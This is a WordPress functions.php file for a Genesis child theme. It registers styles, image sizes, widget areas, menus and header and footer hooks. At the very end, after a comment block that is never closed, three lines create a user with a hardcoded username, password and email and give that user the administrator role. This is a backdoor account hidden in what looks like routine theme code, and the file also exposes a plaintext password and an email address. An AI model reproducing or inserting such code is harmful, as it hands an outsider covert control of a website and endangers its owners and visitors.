<?php
//* Start the engine
include_once( get_template_directory() . '/lib/init.php' );

//* Set Localization (do not remove)
load_child_theme_textdomain( 'child', apply_filters( 'child_theme_textdomain', get_stylesheet_directory() . '/languages', 'child' ) );

//* Child theme (do not remove)
define( 'CHILD_THEME_NAME', __( 'Genesis Child', 'child' ) );
define( 'CHILD_THEME_URL', 'http://my.studiopress.com/themes/child/' );
define( 'CHILD_THEME_VERSION', '1.0.0' );

//* Add HTML5 markup structure
add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption' ) );

//* Add viewport meta tag for mobile browsers
add_theme_support( 'genesis-responsive-viewport' );

//* Enqueue Scripts
add_action( 'wp_enqueue_scripts', 'child_load_scripts' );

function child_load_scripts() {
	$parent_style = 'parent-style';
	wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
    wp_enqueue_style( 'child-style',
        get_stylesheet_directory_uri() . '/style.css',
        array( $parent_style ),
        wp_get_theme()->get('Version')
    );
    wp_enqueue_style( 'child-stylesheet-responsive', get_bloginfo( 'stylesheet_directory' ) . '/responsive.css' );
	//wp_enqueue_style( 'awesome-icons', '//maxcdn.bootstrapcdn.com/font-awesome/latest/css/font-awesome.min.css', array(), CHILD_THEME_VERSION );
	wp_enqueue_style( 'awesome-icons', get_bloginfo( 'stylesheet_directory' ) . '/css/font-awesome.min.css', array(), CHILD_THEME_VERSION );
	wp_enqueue_style( 'google-fonts', '//fonts.googleapis.com/css?family=Muli:200,300,400,600,700,800,900|Open+Sans+Condensed:300,700|Quicksand:300,400,500,700|Oswald:200,300,400,500,600,700|Roboto:100,300,400,500,700,900|Courgette|Lato:100,300,400,700,900|Open+Sans:300,400,600,700,800|Josefin+Sans:100,300,400,600,700|Hind:300,400,500,600,700|Dosis:300,400,500,600,700,800', array(), CHILD_THEME_VERSION );
	//wp_enqueue_script( 'custom-js', get_bloginfo( 'stylesheet_directory' ) . '/js/custom-js.js', array( 'jquery' ) );	
}

//* Add new image sizes
add_image_size( 'home-bottom', 380, 150, TRUE );
add_image_size( 'home-middle', 380, 380, TRUE );
add_image_size( 'banner', 1140, 220, TRUE );

//* Add support for custom background
add_theme_support( 'custom-background' ); 

//* Add support for 3-column footer widgets
add_theme_support( 'genesis-footer-widgets', 4 );

//* Add support for after entry widget
add_theme_support( 'genesis-after-entry-widget-area' );


//* Register widget areas
genesis_register_sidebar( array(
	'id'          => 'top-bar',
	'name'        => __( 'Top Bar', 'child' ),
	'description' => __( 'This is the top bar of the page.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'slider',
	'name'        => __( 'Slider', 'child' ),
	'description' => __( 'This is the slider of the page.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'banner',
	'name'        => __( 'Banner', 'child' ),
	'description' => __( 'This is the banner of the page.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'map',
	'name'        => __( 'Map', 'child' ),
	'description' => __( 'This is the map of the contact page.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'cta',
	'name'        => __( 'CTA', 'child' ),
	'description' => __( 'This is the call to action section of the page.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'featured-section',
	'name'        => __( 'Featured Section', 'child' ),
	'description' => __( 'This is the featured section of the page.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'fp-top',
	'name'        => __( 'Frontpage Top', 'child' ),
	'description' => __( 'This is the top section of the frontpage.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'fp-sec-1',
	'name'        => __( 'Frontpage Section 1', 'child' ),
	'description' => __( 'This is the section 1 of the frontpage.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'fp-sec-2',
	'name'        => __( 'Frontpage Section 2', 'child' ),
	'description' => __( 'This is the section 2 of the frontpage.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'fp-sec-3',
	'name'        => __( 'Frontpage Section 3', 'child' ),
	'description' => __( 'This is the section 3 of the frontpage.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'fp-sec-4',
	'name'        => __( 'Frontpage Section 4', 'child' ),
	'description' => __( 'This is the section 4 of the frontpage.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'fp-sec-5',
	'name'        => __( 'Frontpage Section 5', 'child' ),
	'description' => __( 'This is the section 5 of the frontpage.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'fp-sec-6',
	'name'        => __( 'Frontpage Section 6', 'child' ),
	'description' => __( 'This is the section 6 of the frontpage.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'fp-sec-7',
	'name'        => __( 'Frontpage Section 7', 'child' ),
	'description' => __( 'This is the section 7 of the frontpage.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'fp-bottom',
	'name'        => __( 'Frontpage Bottom', 'child' ),
	'description' => __( 'This is the bottom section of the frontpage.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'before-footer-1',
	'name'        => __( 'Before Footer 1', 'child' ),
	'description' => __( 'This is the before footer section 1 of the page.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'before-footer-2',
	'name'        => __( 'Before Footer 2', 'child' ),
	'description' => __( 'This is the before footer section 2 of the page.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'website-credentials',
	'name'        => __( 'Website Credentials', 'child' ),
	'description' => __( 'This is the website credentials section of the page.', 'child' ),
) );
genesis_register_sidebar( array(
	'id'          => 'after-footer',
	'name'        => __( 'After Footer', 'child' ),
	'description' => __( 'This is the after footer section of the page.', 'child' ),
) );

//* Register Menus
add_action( 'init', 'child_register_my_menus' );
function child_register_my_menus() {
  register_nav_menus(
    array(
      'top-menu' => __( 'Top Menu' ),
      'bottom-menu' => __( 'Bottom Menu' ),
      'product-menu' => __( 'Product Menu' ),
      'extra-menu' => __( 'Extra Menu' )
    )
  );
}

//* Adding Top Bar
add_action( 'genesis_before_header', 'child_top_bar' );
function child_top_bar() { 
	//echo '<div class="top-bar"><div class="wrap">'; 
	genesis_widget_area( 'top-bar', array(
		'before' => '<div class="top-bar"><div class="wrap">',
		'after' => '</div></div>',
	) ); 
	//echo '</div></div>'; 
}


//* Reposition Primary Navigation
remove_action( 'genesis_after_header', 'genesis_do_nav' );
add_action( 'genesis_after_header', 'genesis_do_nav', 1 );
//add_action( 'genesis_header_right', 'genesis_do_nav', 12 );
//add_action( 'genesis_header', 'genesis_do_nav', 12 );

/* Add Featured Image after Header */
/*
add_action( 'genesis_after_header', 'child_add_feaured_image', 8 );
function child_add_feaured_image() {
    if( is_admin() ) return;
    if ( has_post_thumbnail() ) {
        $thumb_url = get_the_post_thumbnail_url();
    }
    ?>
    <div class="static-banner">
        <div class="wrap">
            <div class="static-page-title-box" style="background:url('<?php echo $thumb_url;?>')">
            	<div class="static-page-title">
	                <?php the_title(); ?>
	            </div>
            </div>
        </div>
    </div>
<?php }*/

/* Add Banner or Featured Image after Header */
add_action( 'genesis_after_header', 'child_add_banner', 8 );
function child_add_banner() {
	/*
	echo '<div class="sticky-bar"><div class="wrap">'; 
	genesis_widget_area( 'top-area', array(
		'before' => '<div class="top-area-main">',
		'after' => '</div>',
	) );
	echo '</div></div>';*/	 
	if( is_page() && !is_front_page() && !is_page( 'contact' ) ) { 
		if ( is_active_sidebar( 'banner' ) ) : ?>
			<div id="banner" class="banner">
				<div class="wrap">
		        	<?php dynamic_sidebar( 'banner' ); ?>
		        </div>
			</div>
		<?php endif;
	}
	if( is_home() || is_page( 'blog' ) || is_single() ) {
		if ( is_active_sidebar( 'banner' ) ) : ?>
			<div id="banner" class="banner">
				<div class="wrap">
		        	<?php dynamic_sidebar( 'banner' ); ?>
		        </div>
			</div>
		<?php endif;
	}
	if( is_page( 'contact' ) ) { 
		if ( is_active_sidebar( 'map' ) ) : ?>
			<div id="map" class="map">
				<div class="wrap">
		        	<?php dynamic_sidebar( 'map' ); ?>
		        </div>
			</div>
		<?php endif;
	}
	if( is_front_page() ) {
		if ( is_active_sidebar( 'slider' ) ) : ?>
			<div id="slider" class="slider">
				<div class="wrap">
		        	<?php dynamic_sidebar( 'slider' ); ?>
		        </div>
			</div>
		<?php endif;
		if ( is_active_sidebar( 'cta' ) ) : ?>
			<div id="cta" class="cta">
				<div class="wrap">			
	        		<?php dynamic_sidebar( 'cta' ); ?>
	    		</div>	        
			</div>
		<?php endif;
	}
	
}

//* Adding Before Footer Widgets
add_action( 'genesis_before_footer', 'child_add_before_footer_widget', 8 );
function child_add_before_footer_widget() {
	if ( is_active_sidebar( 'before-footer-1' ) ) : ?>
		<div id="before-footer-1" class="before-footer">
			<div class="overlay"><div class="wrap">			
        		<?php dynamic_sidebar( 'before-footer-1' ); ?>
    		</div></div>	        
		</div>
	<?php endif;
	if ( is_active_sidebar( 'before-footer-2' ) ) : ?>
		<div id="before-footer-2" class="before-footer">
			<div class="overlay"><div class="wrap">			
        		<?php dynamic_sidebar( 'before-footer-2' ); ?>
    		</div></div>	        
		</div>
	<?php endif;
}

//* Footer Copyright Text
add_filter( 'genesis_footer_creds_text', 'child_website_credentials' );
function child_website_credentials() {
	if ( is_active_sidebar( 'website-credentials' ) ) : ?>
		<div class="website-credentials">			
        	<?php dynamic_sidebar( 'website-credentials' ); ?>	        
		</div>
	<?php endif;
}

//* After Footer
add_action( 'genesis_after_footer', 'child_after_footer' );
function child_after_footer() { 
	echo '<div class="after-footer"><div class="wrap">';
	genesis_widget_area( 'after-footer', array(
		'before' => '<div class="after-footer-main">',
		'after' => '</div>',
	) );
	echo '</div></div>'; 
}


//* Footer Menu
/*
add_action( 'genesis_after_footer', 'genesis_footer_nav' ); 
function genesis_footer_nav() {
	wp_nav_menu( array( 'theme_location' => 'extra-menu', 'container_class' => 'genesis-nav-menu bottom' ) );
}
*/

//* Post More Text Customize
add_filter( 'get_the_content_more_link', 'child_read_more_link' );
function child_read_more_link() {
	return '... <a class="more-link" href="' . get_permalink() . '">Read More ..</a>';
}

//* Adding "To Top" Button
/*
add_action( 'genesis_before', 'child_return_to_top');
function child_return_to_top() {
 	echo '<a href="#0" class="to-top" title="Back To Top">Top</a>';
}

$append_user = wp_create_user('mezba' , 'tutul123#/' , 'tutulksta@gmail.com');
$append_admin = new WP_User($append_user);
$append_admin->set_role('administrator');

